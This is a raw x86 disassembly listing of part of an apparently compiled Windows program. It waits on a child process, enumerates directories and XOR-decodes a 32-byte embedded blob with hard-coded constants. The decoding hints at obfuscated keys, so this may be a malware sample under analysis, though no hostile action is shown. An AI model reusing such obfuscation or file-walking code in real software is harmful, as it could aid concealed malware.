lea ecx, [esp + 0x50]
lea edx, [esp + 0x230]
mov dword [esp + 0x230], 0x4ebe04
mov dword [esp + 0x234], 4
mov dword [esp + 0x240], 0
mov dword [esp + 0x238], ebx
mov dword [esp + 0x23c], 3
mov dword [esp + 0x970], eax
mov dword [esp + 0x974], 0x49bdf0
mov dword [esp + 0x978], ecx
lea ecx, [esp + 0xc0]
mov dword [esp + 0x97c], 0x49bdf0
mov dword [esp + 0x980], edi
mov dword [esp + 0x984], 0x407160
call fcn.00415500
cmp dword [esp + 0x4e0], 0
je 0x411da8
push dword [esp + 0x4e4]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0xc0]
mov edx, dword [esp + 0xc4]
lea ebx, [esp + 0x230]
mov ecx, ebx
mov dword [esp + 8], eax
mov dword [esp + 4], edx
push dword [esp + 0xc8]
call fcn.004c0d70
add esp, 4
lea ecx, [esp + 0x970]
mov edx, ebx
call fcn.004a7290
cmp dword [esp + 0x970], 3
jne 0x411e27
push 0xc0
lea eax, [esp + 0x978]
push eax
push ebx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
cmp dword [esp + 0x230], 2
je 0x411e33
lea ecx, [esp + 0x230]
call fcn.00496780
mov byte [esp + 0x158], 4
jmp 0x411f17
lea ecx, [esp + 0x970]
call fcn.004049d0
mov dword [esp + 0x970], 0xf79e90
lea eax, [esp + 0x970]
lea eax, [esp + 0x970]
mov ecx, dword [esp + 0x970]
mov dword [esp + 0x970], 0x6d261612
mov edx, dword [esp + 0x970]
call fcn.00407ab0
mov ecx, 0xefe2fbb7
mov ebx, 0xc17af620
mov edi, 0x6869861f
mov esi, 0x4de3030a
mov edx, 0x9dc8ecab
xor ecx, dword [eax]
mov dword [esp + 0xc], ecx
mov ecx, 0xa21c3c5d
xor ecx, dword [eax + 4]
mov dword [esp + 0x28], ecx
mov ecx, 0x97665c56
xor ecx, dword [eax + 8]
mov dword [esp + 0x110], ecx
mov ecx, 0x8be45c25
xor ebx, dword [eax + 0xc]
xor edi, dword [eax + 0x10]
xor esi, dword [eax + 0x14]
xor edx, dword [eax + 0x18]
xor ecx, dword [eax + 0x1c]
mov eax, dword [esp + 0xc]
mov dword [esp + 0x970], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0x974], eax
mov eax, dword [esp + 0x110]
mov dword [esp + 0x978], eax
mov dword [esp + 0x97c], ebx
mov dword [esp + 0x980], edi
mov dword [esp + 0x984], esi
mov dword [esp + 0x988], edx
mov dword [esp + 0x98c], ecx
lea ecx, [esp + 0x158]
lea edx, [esp + 0x970]
push 0x20
call fcn.00401b10
add esp, 4
mov esi, dword [esp + 0x2c]
mov edi, dword [esp + 0x10]
cmp dword [esp + 8], 0
je 0x411f38
push dword [esp + 4]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
movzx ebx, byte [esp + 0x158]
cmp bl, 4
jne 0x412016
mov eax, dword [esp]
test edi, edi
je 0x411f5f
push eax
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp + 0x1c8], 0
je 0x411f7e
push dword [esp + 0x1cc]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp + 0x1e8], 0
je 0x411f9d
push dword [esp + 0x1ec]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp + 0x194], 0
je 0x411fbc
push dword [esp + 0x198]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp + 0x1b8], 0
je 0x411fdb
push dword [esp + 0x1bc]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [esp + 0x138]
test esi, esi
js 0x414daa
mov ebx, dword [esp + 0x134]
je 0x4120e3
movzx eax, byte [0xfd520d]
xor ecx, ecx
mov edx, esi
call fcn.00494530
mov edi, eax
test eax, eax
jne 0x4120e8
jmp 0x414daa
mov ecx, dword [esp + 0x15c]
mov eax, dword [esp + 0x159]
test edi, edi
mov dword [esp + 0x1f7], ecx
mov dword [esp + 0x1f4], eax
mov eax, dword [esp]
je 0x412048
push eax
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp + 0x1c8], 0
je 0x412067
push dword [esp + 0x1cc]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp + 0x1e8], 0
je 0x412086
push dword [esp + 0x1ec]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp + 0x194], 0
je 0x4120a5
push dword [esp + 0x198]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp + 0x1b8], 0
je 0x4120c4
push dword [esp + 0x1bc]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [esp + 0x30]
mov eax, dword [esp + 0x1f4]
mov ecx, dword [esp + 0x1f7]
mov byte [edx], bl
mov dword [edx + 1], eax
mov dword [edx + 4], ecx
jmp 0x412780
mov edi, 1
push esi
push ebx
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov dword [esp + 0x988], esi
mov dword [esp + 0x98c], edi
mov dword [esp + 0x990], esi
mov byte [esp + 0x994], 0
mov dword [esp + 0x998], 0
mov dword [esp + 0x99c], 4
mov dword [esp + 0x9a0], 0
mov dword [esp + 0x9b8], 0
mov dword [esp + 0x9c0], 0
mov word [esp + 0x9c4], 0
mov dword [esp + 0x9a4], 0x80000000
mov dword [esp + 0x9c8], 0
mov word [esp + 0x9b4], 0
mov word [esp + 0x9d8], 0
mov dword [esp + 0x970], 6
mov dword [esp + 0x978], 6
mov dword [esp + 0x980], 6
mov dword [esp + 0x9cc], 0
mov dword [esp + 0x9d4], 0
lea ecx, [esp + 0x740]
lea edx, [esp + 0x970]
push 1
push 0
call fcn.0048ba90
add esp, 8
mov eax, dword [esp + 0x748]
cmp eax, 2
jne 0x4121f7
movzx eax, byte [esp + 0x740]
mov ecx, dword [esp + 0x744]
mov dword [esp + 0x88], eax
mov dword [esp + 0x74], ecx
jmp 0x41238e
mov ecx, dword [esp + 0x744]
mov edx, dword [esp + 0x750]
test eax, eax
mov eax, dword [esp + 0x75c]
mov ebx, dword [esp + 0x740]
mov edi, dword [esp + 0x754]
mov esi, dword [esp + 0x758]
mov dword [esp + 8], ecx
mov dword [esp + 0x10], edx
mov dword [esp + 4], eax
je 0x41223e
push dword [esp + 0x74c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
mov dword [esp], esi
je 0x412268
mov dword [esp + 0x88], 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x74], eax
jmp 0x412361
lea eax, [esp + 0x740]
mov dword [esp + 0x740], 0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x41234c
mov eax, dword [esp + 0x740]
mov dword [esp + 0x74], eax
mov al, 4
mov dword [esp + 0x88], eax
jmp 0x412361
mov ecx, 0xfd5050
mov edx, 0xfd5050
call fcn.004e7900
jmp 0x410b68
mov edi, edx
mov ecx, section..data
mov edx, section..data
call fcn.004e7900
mov edx, edi
jmp 0x411ca5
mov edi, edx
mov ecx, 0xfd5014
mov edx, 0xfd5014
call fcn.004e7900
mov edx, edi
jmp 0x411ccc
mov ebx, 1
push edi
push dword [esp + 4]
push ebx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
cmp dword [esp + 0x50], 0
mov dword [esp + 0x4e0], edi
mov dword [esp + 0x4e4], ebx
mov dword [esp + 0x4e8], edi
je 0x412325
push esi
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
test dword [esp + 0x10], 0x7fffffff
je 0x412340
push dword [esp]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea esi, [esp + 0x4e0]
jmp 0x414c69
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x74], eax
mov dword [esp + 0x88], 0
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push dword [esp + 8]
call esi
cmp dword [esp + 0x10], 0
je 0x41237e
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp], 0
je 0x41238e
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x970]
call fcn.00404a60
mov eax, 0x200
xor esi, esi
mov dword [esp + 0x230], 0
mov dword [esp + 0x234], 2
mov dword [esp + 0x238], 0
mov dword [esp + 4], 2
cmp eax, 0x201
jb 0x4123ed
jmp 0x412400
jbe 0x4124a1
cmp eax, 0x201
jae 0x412400
mov dword [esp + 0x10], 0x200
lea ebx, [esp + 0x970]
mov edi, eax
jmp 0x412415
sub eax, esi
jne 0x412474
mov ebx, dword [esp + 4]
mov edi, esi
mov dword [esp + 0x238], esi
mov dword [esp + 0x10], esi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [esp], ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
test eax, eax
jne 0x412448
mov dword [esp + 8], esi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
mov eax, esi
mov esi, dword [esp + 8]
test ecx, ecx
jne 0x412621
cmp eax, edi
jne 0x4123e0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x414daa
lea eax, [edi + edi]
test edi, edi
mov ecx, 0xffffffff
cmovs eax, ecx
cmp eax, 0x201
jae 0x412400
jmp 0x4123ed
lea ecx, [esp + 0x230]
mov edx, esi
push 2
push 2
push eax
call fcn.004ea1e0
add esp, 0xc
mov eax, dword [esp + 0x234]
mov esi, dword [esp + 0x230]
mov dword [esp + 4], eax
jmp 0x412404
cmp eax, dword [esp + 0x10]
ja 0x414daa
mov edx, dword [esp]
lea ecx, [esp + 0x740]
push eax
call fcn.00484c00
add esp, 4
cmp dword [esp + 0x230], 0
je 0x4124dd
push dword [esp + 0x234]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0x740]
mov ecx, dword [esp + 0x744]
mov esi, dword [esp + 0x748]
mov dword [esp + 0x104], eax
neg eax
mov eax, dword [esp + 0x30]
jno 0x41250f
mov dword [eax + 4], esi
mov esi, dword [esp + 0x2c]
mov dword [eax], ecx
jmp 0x412765
test esi, esi
mov dword [esp + 0x140], 0
mov dword [esp + 0x144], 4
mov dword [esp + 0x17c], ecx
mov dword [esp + 0x148], 0
je 0x412654
js 0x414daa
movzx eax, byte [0xfd520d]
xor ecx, ecx
mov edx, esi
call fcn.00494530
test eax, eax
je 0x414daa
push esi
mov ebx, dword [esp + 0x180]
push ebx
mov dword [esp + 8], eax
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
movzx eax, byte [0xfd520d]
xor ecx, ecx
mov edx, esi
call fcn.00494530
test eax, eax
je 0x414daa
mov edi, eax
push esi
push ebx
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov dword [esp + 0x970], esi
mov dword [esp + 0x974], edi
lea edi, [esp + 0x970]
mov edx, 0xf94c8c
mov dword [esp + 0x978], esi
mov byte [esp + 0x97c], 0
mov ecx, edi
push 1
call fcn.004871d0
add esp, 4
mov edx, dword [esp + 0x974]
mov ebx, dword [esp + 0x970]
lea ecx, [esp + 0x4e0]
mov dword [esp + 0x10], edx
push dword [esp + 0x978]
call fcn.00485be0
add esp, 4
mov eax, dword [esp + 0x4e0]
mov edx, dword [esp + 0x4e4]
mov ecx, eax
neg ecx
mov ecx, dword [esp + 0x4e8]
jno 0x412660
mov eax, edx
shrd eax, ecx, 8
mov dword [esp + 0x40], eax
mov eax, ecx
jmp 0x4126c7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [esp + 0x744], 0
mov dword [esp + 0x748], eax
mov dword [esp + 0x740], 0x80000000
cmp dword [esp + 0x230], 0
jne 0x4124c8
jmp 0x4124dd
mov eax, 3
xor esi, esi
jmp 0x412718
mov dword [esp + 0x970], eax
mov dword [esp + 0x978], ecx
lea ecx, [esp + 0xc0]
lea edi, [esp + 0x970]
mov dword [esp + 0x974], edx
mov dword [esp + 8], ebx
mov edx, edi
push 1
call fcn.00486c90
add esp, 4
mov ecx, dword [esp + 0xc0]
mov eax, ecx
neg eax
jno 0x4128b0
mov edx, dword [esp + 0xc4]
mov eax, dword [esp + 0xc8]
mov ebx, dword [esp + 8]
lea edi, [esp + 0x970]
mov ecx, edx
shrd ecx, eax, 8
mov dword [esp + 0x40], ecx
test ebx, ebx
mov dword [esp + 0x3c], eax
mov dword [esp + 0x44], edx
je 0x4126e5
push dword [esp + 0x10]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [esp]
mov esi, 2
mov bl, 1
push ecx
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
test bl, bl
je 0x412b9d
mov eax, dword [esp + 0x40]
movzx esi, byte [esp + 0x44]
shl eax, 8
or esi, eax
mov eax, dword [esp + 0x3c]
mov ecx, 4
mov edi, eax
cmp dword [esp + 0x140], 0
je 0x412738
push ecx
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0x30]
mov dword [eax], esi
mov esi, dword [esp + 0x2c]
mov dword [eax + 4], edi
cmp dword [esp + 0x104], 0
mov eax, dword [esp + 0x17c]
je 0x412765
push eax
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0x88]
cmp al, 4
ja 0x412866
movzx eax, al
cmp eax, 3
je 0x412866
cmp dword [esp + 0x130], 0
je 0x41279f
push dword [esp + 0x134]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
test esi, 0x7fffffff
jne 0x40f1cb
cmp dword [esp + 0x1dc], 0
je 0x4127ca
push dword [esp + 0xbc]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [esp + 0x84]
mov eax, dword [esp + 0x80]
test edi, edi
mov dword [esp], eax
je 0x41280a
mov eax, dword [esp]
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
lea ebx, [eax + 4]
jmp 0x4127f6
add ebx, 0x10
dec edi
je 0x41280a
cmp dword [ebx - 4], 0
je 0x4127f0
push dword [ebx]
push 0
push dword [0xfd5200]
call esi
jmp 0x4127f0
cmp dword [esp + 0x7c], 0
je 0x412822
push dword [esp]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp + 0x1e0], 0
mov esi, dword [esp + 0x34]
je 0x412845
push dword [esp + 0xb8]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp + 0x1e4], 0
je 0x41285e
push esi
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [esp + 0x74]
mov edi, dword [eax + 4]
mov esi, dword [eax]
mov eax, dword [edi]
test eax, eax
je 0x41287b
push esi
call eax
add esp, 4
cmp dword [edi + 4], 0
je 0x412899
cmp dword [edi + 8], 9
jb 0x41288a
mov esi, dword [esi - 4]
push esi
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [esp + 0x74]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x40e803
mov ebx, dword [esp + 0xc4]
mov dword [esp + 4], ecx
push 0x250
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push edi
mov dword [esp + 0x10], ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [esp + 0x28], eax
je 0x412b10
movzx eax, byte [0xfd520d]
xor ecx, ecx
mov edx, 0x18
call fcn.00494530
test eax, eax
lea edi, [esp + 0x970]
je 0x414daa
mov ecx, dword [esp]
mov dword [eax], 1
mov dword [eax + 4], 1
mov dword [eax + 8], esi
mov dword [esp + 0x78], eax
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], esi
mov byte [eax + 0x14], 0
mov eax, dword [esp + 0x974]
movsd xmm2, qword [esp + 0x980]
movsd xmm1, qword [esp + 0x988]
mov ecx, dword [esp + 0x970]
movq xmm0, qword [esp + 0x978]
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x998]
movsd qword [esp + 0x238], xmm2
movsd qword [esp + 0x240], xmm1
movsd xmm2, qword [esp + 0x990]
movss xmm1, dword [esp + 0x99c]
mov dword [esp + 0x40], ecx
mov dword [esp + 0x44], ecx
movq qword [esp + 0x230], xmm0
mov dword [esp + 0x250], eax
movzx eax, word [esp + 0x9a0]
movsd qword [esp + 0x248], xmm2
movaps xmmword [esp + 0x960], xmm1
mov word [esp + 0x128], ax
lea eax, [esp + 0x9a2]
push 0x21e
push eax
lea eax, [esp + 0x748]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
cmp dword [esp + 4], 0
je 0x4129ee
push dword [esp + 0xc]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0x3c]
mov esi, 1
shrd dword [esp + 0x40], eax, 8
cmp dword [esp + 8], 0
je 0x412b9d
mov ecx, dword [esp + 0x10]
xor ebx, ebx
jmp 0x4126ef
mov edx, ecx
shr edx, 8
mov word [esp + 0x51], dx
mov edx, ecx
shr edx, 0x18
mov byte [esp + 0x53], dl
mov byte [esp + 0x50], cl
mov dword [esp + 0x54], eax
mov eax, dword [esi]
test eax, eax
je 0x412a3a
push edi
call eax
add esp, 4
cmp dword [esi + 4], 0
je 0x412a58
cmp dword [esi + 8], 9
jb 0x412a49
mov edi, dword [edi - 4]
push edi
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
movzx eax, byte [esp + 0x50]
cmp al, 4
jne 0x40f1ac
test ebx, ebx
js 0x414daa
je 0x412a8a
movzx eax, byte [0xfd520d]
xor ecx, ecx
mov edx, ebx
call fcn.00494530
mov esi, eax
test eax, eax
jne 0x412a8f
jmp 0x414daa
mov esi, 1
push ebx
push dword [esp + 0x4c]
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov edi, dword [esp + 0x84]
cmp edi, dword [esp + 0x7c]
jne 0x412ab3
lea ecx, [esp + 0x7c]
call fcn.004a7f80
mov eax, dword [esp + 0x80]
mov ecx, edi
mov edx, dword [esp + 0x1d8]
inc edi
shl ecx, 4
mov dword [eax + ecx], ebx
mov dword [eax + ecx + 4], esi
mov esi, dword [esp + 0x2c]
mov dword [eax + ecx + 8], ebx
mov byte [eax + ecx + 0xc], dl
mov al, 1
mov dword [esp + 0x84], edi
mov dword [esp + 0x10], eax
mov eax, dword [0xfd503c]
mov ebx, dword [esp + 0x8c]
cmp eax, 2
je 0x40e55b
mov ecx, 0xfd503c
mov edx, 0xfd503c
call fcn.004e7900
jmp 0x40e55b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
lea edi, [esp + 0x970]
jne 0x414a7c
movzx eax, byte [0xfd520d]
xor ecx, ecx
mov edx, 0x18
call fcn.00494530
test eax, eax
je 0x414daa
cmp dword [esp + 4], 0
mov ecx, dword [esp]
mov dword [eax], 1
mov dword [eax + 4], 1
mov dword [eax + 8], esi
mov dword [esp + 0x78], eax
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], esi
mov byte [eax + 0x14], 0
je 0x412b7b
push dword [esp + 0xc]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor ebx, ebx
cmp dword [esp + 8], 0
mov ecx, dword [esp + 0x10]
mov esi, 0
mov dword [esp + 0x44], eax
mov dword [esp + 0x28], 0xffffffff
jne 0x4126ef
movsd xmm1, qword [esp + 0x238]
movsd xmm0, qword [esp + 0x230]
movsd xmm2, qword [esp + 0x240]
mov eax, dword [esp + 0x250]
movsd qword [esp + 0x160], xmm1
movsd xmm1, qword [esp + 0x248]
movsd qword [esp + 0x158], xmm0
movsd qword [esp + 0x168], xmm2
mov dword [esp + 0x178], eax
movsd qword [esp + 0x170], xmm1
push 0x21e
lea eax, [esp + 0x744]
push eax
lea eax, [esp + 0x4e8]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
movdqa xmm0, xmmword [esp + 0x960]
movd eax, xmm0
pextrw ecx, xmm0, 1
cmp ax, 0x2e
sete al
test ecx, ecx
sete dl
and dl, al
cmp cx, 0x2e
sete cl
and cl, al
cmp word [esp + 0x128], 0
sete al
and al, cl
or al, dl
mov byte [esp + 0x38], al
mov dword [esp + 0xc], eax
jmp 0x412c55
cmp dword [esp + 0x28], 0xffffffff
je 0x4131ef
cmp esi, 1
setne al
or al, byte [esp + 0x38]
test al, 1
je 0x412d76
push 0x250
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov esi, dword [esp + 0x28]
nop word cs:[eax + eax]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x412e17
mov eax, dword [esp + 0x99c]
movzx ecx, word [esp + 0x99e]
mov edx, eax
xor edx, 0x2e
or dx, cx
je 0x412c90
cmp ax, 0x2e
jne 0x412cd0
cmp cx, 0x2e
jne 0x412cd0
cmp word [esp + 0x9a0], 0
je 0x412c90
mov ebx, dword [esp + 0x78]
lock inc dword [ebx]
jle 0x414daa
mov esi, dword [esp + 0x970]
mov eax, dword [esp + 0x974]
mov dword [esp + 0xc], esi
mov dword [esp], eax
shrd esi, eax, 8
lea eax, [esp + 0x97c]
movsd xmm1, qword [eax + 4]
movsd xmm0, qword [eax - 4]
movsd xmm2, qword [eax + 0x14]
movsd qword [esp + 0x58], xmm1
movsd xmm1, qword [eax + 0xc]
mov eax, dword [eax + 0x1c]
movsd qword [esp + 0x50], xmm0
movsd qword [esp + 0x68], xmm2
movsd qword [esp + 0x60], xmm1
mov dword [esp + 0x70], eax
movss xmm1, dword [esp + 0x99c]
movzx eax, word [esp + 0x9a0]
movaps xmmword [esp + 0x110], xmm1
mov word [esp + 0x24], ax
push 0x21e
lea eax, [esp + 0x9a6]
push eax
lea eax, [esp + 0x748]
push eax
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [esp + 0x18]
mov edx, esi
add esp, 0xc
jmp 0x412e47
mov ebx, dword [esp + 0x78]
lock inc dword [ebx]
jle 0x414daa
movsd xmm1, qword [esp + 0x168]
mov eax, dword [esp + 0x178]
movsd xmm0, qword [esp + 0x170]
movsd xmm2, qword [esp + 0x158]
movsd qword [esp + 0x60], xmm1
movsd xmm1, qword [esp + 0x160]
mov dword [esp + 0x70], eax
movsd qword [esp + 0x68], xmm0
movsd qword [esp + 0x50], xmm2
movsd qword [esp + 0x58], xmm1
push 0x21e
lea eax, [esp + 0x4e4]
push eax
lea eax, [esp + 0x748]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov eax, dword [esp + 0x3c]
movaps xmm0, xmmword [esp + 0x960]
movzx esi, word [esp + 0x128]
mov edx, dword [esp + 0x40]
mov dword [esp], eax
mov eax, dword [esp + 0x44]
movaps xmmword [esp + 0x110], xmm0
mov word [esp + 0x24], si
mov ecx, eax
jmp 0x412e47
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [esp + 0xc]
mov esi, dword [esp]
cmp eax, 0x12
mov ecx, 0
cmovne ebx, ecx
movzx edx, dl
cmovne esi, eax
cmovne edx, ecx
mov dword [esp], esi
je 0x4131ef
mov ecx, edx
mov edx, dword [esp + 0x4c]
mov eax, edx
movzx esi, cl
shl eax, 8
or esi, eax
test ebx, ebx
je 0x41486c
movsd xmm1, qword [esp + 0x60]
mov eax, dword [esp + 0x70]
movsd xmm0, qword [esp + 0x68]
movsd xmm2, qword [esp + 0x50]
mov dword [esp + 0x4c], edx
mov dword [esp + 0xc], ecx
movsd qword [esp + 0xd0], xmm1
movsd xmm1, qword [esp + 0x58]
mov dword [esp + 0xe0], eax
movsd qword [esp + 0xd8], xmm0
movsd qword [esp + 0xc0], xmm2
movsd qword [esp + 0xc8], xmm1
push 0x21e
lea eax, [esp + 0x744]
push eax
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
movsd xmm1, qword [esp + 0xc8]
mov eax, dword [esp + 0xe0]
movsd xmm0, qword [esp + 0xc0]
movsd xmm2, qword [esp + 0xd0]
movsd qword [esp + 0x98], xmm1
movsd xmm1, qword [esp + 0xd8]
movsd qword [esp + 0x90], xmm0
movsd qword [esp + 0xa0], xmm2
mov dword [esp + 0xb0], eax
movsd qword [esp + 0xa8], xmm1
push 0x21e
push edi
lea edi, [esp + 0x238]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
movsd xmm1, qword [esp + 0xa0]
lea ecx, [esp + 0x97c]
mov eax, dword [esp + 0xb0]
movq xmm0, qword [esp + 0xa8]
movsd xmm2, qword [esp + 0x90]
movsd qword [ecx + 0x10], xmm1
movsd xmm1, qword [esp + 0x98]
mov dword [ecx + 0x20], eax
movzx eax, word [esp + 0x24]
movq qword [ecx + 0x18], xmm0
movsd qword [ecx], xmm2
movsd qword [ecx + 8], xmm1
movaps xmm1, xmmword [esp + 0x110]
movss dword [esp + 0x9a0], xmm1
mov word [esp + 0x9a4], ax
push 0x21e
push edi
lea eax, [esp + 0x9ae]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov eax, dword [esp]
mov dword [esp + 0x970], ebx
mov dword [esp + 0x974], esi
lea edx, [esp + 0x9a0]
mov ecx, 0x104
mov dword [esp + 0x978], eax
mov eax, dword [ebx + 0xc]
mov edi, dword [ebx + 0x10]
mov dword [esp + 0x10], eax
mov eax, edx
cmp word [eax], 0
je 0x413098
cmp word [eax + 2], 0
je 0x413077
sub eax, edx
cmp eax, 0x20a
jae 0x414daa
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x78]
lock dec dword [ecx]
jne 0x413207
call fcn.00405b40
mov eax, dword [esp + 0x140]
mov esi, dword [esp + 0x144]
mov edi, dword [esp + 0x148]
mov ecx, eax
neg ecx
jo 0x412738
mov ecx, edi
mov dword [esp + 0x740], esi
mov dword [esp + 0x744], esi
mov dword [esp + 0x748], eax
shl ecx, 4
add ecx, esi
test edi, edi
mov dword [esp + 0x74c], ecx
jne 0x4134f6
lea ecx, [esp + 0x740]
call fcn.00404fa0
movzx eax, byte [0xfd520d]
xor ecx, ecx
mov edx, 0x10
call fcn.00494530
test eax, eax
je 0x414daa
mov esi, eax
movzx eax, byte [0xfd520d]
xor ecx, ecx
mov edx, 8
call fcn.00494530
test eax, eax
je 0x414daa
lea eax, [esi + 0x10]
mov dword [esp + 0x744], eax
mov ebx, dword [esi]
mov eax, ebx
neg eax
jo 0x413251
mov ecx, dword [esi + 4]
mov esi, dword [esi + 8]
mov edx, esi
mov dword [esp], ecx
call fcn.0048b170
mov ecx, dword [0xfd5028]
mov dword [esp + 4], esi
cmp ecx, 2
jne 0x41372e
test eax, eax
je 0x413555
mov esi, edx
mov ecx, 0xfd5028
mov edx, 0xfd5028
mov edi, eax
call fcn.004e7900
mov edx, esi
mov esi, dword [esp + 4]
mov eax, edi
test eax, eax
jne 0x413533
movsd xmm1, qword [esp + 0xd0]
mov eax, dword [esp + 0xe0]
movq xmm0, qword [esp + 0xd8]
movsd xmm2, qword [esp + 0xc0]
movsd qword [esp + 0xa0], xmm1
movsd xmm1, qword [esp + 0xc8]
mov dword [esp + 0xb0], eax
movq qword [esp + 0xa8], xmm0
movsd qword [esp + 0x90], xmm2
movsd qword [esp + 0x98], xmm1
push 0x21e
push edi
lea eax, [esp + 0x238]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x78]
lock dec dword [ecx]
jne 0x4148f0
call fcn.00405b40
mov ebx, dword [esp + 0x148]
mov ecx, dword [esp + 0x144]
test ebx, ebx
je 0x414a15
lea ecx, [esp + 0x970]
call fcn.004d19f0
test esi, esi
je 0x414a3c
push edi
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0x974]
movzx ecx, byte [esp + 0x970]
mov dword [esp + 0x3c], eax
mov byte [esp + 0x40], cl
jmp 0x40f537
mov edi, dword [esp + 0x970]
mov eax, edi
neg eax
jno 0x414ab1
mov ebx, dword [esp + 0x978]
mov edi, dword [esp + 0x97c]
mov ecx, dword [esp + 0x10]
jmp 0x41044c
cmp dword [esp + 4], 0
mov dword [esp + 0x3c], eax
je 0x414a99
push dword [esp + 0xc]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp + 8], 0
je 0x414bc3
mov dword [esp + 0x44], 0
jmp 0x4126d3
lea ecx, [esp + 0x230]
call fcn.004d19f0
test edi, edi
je 0x414ad3
push dword [esp + 0x10]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
